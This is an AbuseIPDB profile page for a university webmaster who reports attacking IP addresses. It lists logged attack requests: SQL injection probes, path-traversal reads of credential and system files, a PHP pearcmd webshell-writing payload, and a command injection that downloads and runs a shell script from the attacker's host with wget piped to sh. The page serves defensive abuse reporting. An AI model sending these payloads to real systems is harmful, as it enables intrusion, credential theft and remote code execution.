AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User KuhA , the webmaster of hth.med.kyushu-u.ac.jp, joined AbuseIPDB in July 2023 and has reported 1,445 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇨🇳 123.125.21.150	24 Mar 2026	GET /?id=1%20and%201=1	SQL Injection
🇨🇳 180.76.172.156	01 Mar 2026	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇸🇬 139.99.124.59	02 Feb 2026	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇵🇱 149.50.97.184	22 Jan 2026	GET /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000	Web App Attack
🇹🇼 220.130.62.51	22 Jan 2026	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession	Web App Attack
🇩🇪 130.12.180.19	12 Jan 2026	"GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=\|wget%20http%3A//1 ... show more "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=\|wget%20http%3A//130.12.180.19/router.ruijie.sh%20-O-%7Csh\| HTTP/1.0" show less	Web App Attack
🇧🇪 130.211.68.143	12 Jan 2026	GET /?qtrxaalf=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&vsfegcdv=UNION+SELECT+ALL+FROM+inf ... show more GET /?qtrxaalf=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&vsfegcdv=UNION+SELECT+ALL+FROM+information_schema+AND+%22+or+SLEEP%285%29+or+%22&trkqxohr=..%2F..%2Fetc%2Fpasswd show less	SQL Injection
🇸🇦 104.28.231.231	04 Jan 2026	GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A)	Web App Attack
🇨🇳 115.190.179.151	07 Dec 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇭🇰 119.8.38.74	30 Nov 2025	GET /phpmyfaq/index.php?search=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini&submit=Search&action= ... show more GET /phpmyfaq/index.php?search=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini&submit=Search&action=search show less	Web App Attack
🇪🇹 196.188.187.189	19 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇭🇰 43.251.17.236	18 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇳🇱 46.21.85.75	16 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Brute-Force Web App Attack
🇧🇬 85.11.167.3	12 Nov 2025	GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database	Web App Attack
🇺🇸 192.81.219.78	09 Nov 2025	"GET /+CSCOL+/Java.jar HTTP/1.1","GET /+CSCOE+/logon_forms.js HTTP/1.1","GET /+CSCOL+/a1.jar HTTP/1. ... show more "GET /+CSCOL+/Java.jar HTTP/1.1","GET /+CSCOE+/logon_forms.js HTTP/1.1","GET /+CSCOL+/a1.jar HTTP/1.1","GET /+CSCOE+/transfer.js HTTP/1.1" show less	Brute-Force Web App Attack
🇭🇰 38.55.99.198	03 Nov 2025	GET /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd	Web App Attack
🇹🇭 101.109.116.32	27 Oct 2025	"POST /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","POST /app/laravel/vendor/ph ... show more "POST /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","POST /app/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php,"POST /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","POST /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" show less	Brute-Force Web App Attack
🇫🇷 164.68.110.119	24 Oct 2025	"POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"	Web App Attack
🇨🇳 123.57.201.66	24 Oct 2025	"POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"	Web App Attack
🇺🇸 142.171.89.142	22 Oct 2025	GET /index.php?a=company_focus&c=AjaxPersonal&company_id[0]=match&company_id[1][0]=aaaaaaa\)%20and%2 ... show more GET /index.php?a=company_focus&c=AjaxPersonal&company_id[0]=match&company_id[1][0]=aaaaaaa\)%20and%20extractvalue(1,concat(0x7e,md5(99999999)))%20--%20a&m show less	SQL Injection
🇯🇵 172.105.216.226	21 Oct 2025	Web App Attack	Hacking Brute-Force Web App Attack
🇯🇵 43.163.210.13	18 Oct 2025	GET /phpmyfaq/?action=search&search=..%2F..%2F..%2FWindows%2Fwin.ini&submit=Search	Web App Attack
🇯🇵 43.163.240.114	18 Oct 2025	Web App Hacking	Web App Attack
🇧🇷 170.82.105.215	18 Oct 2025	GET /phpmyfaq/?action=search&search=..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini&submit=Search	Web App Attack
🇧🇬 82.118.249.134	14 Oct 2025	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession	Web App Attack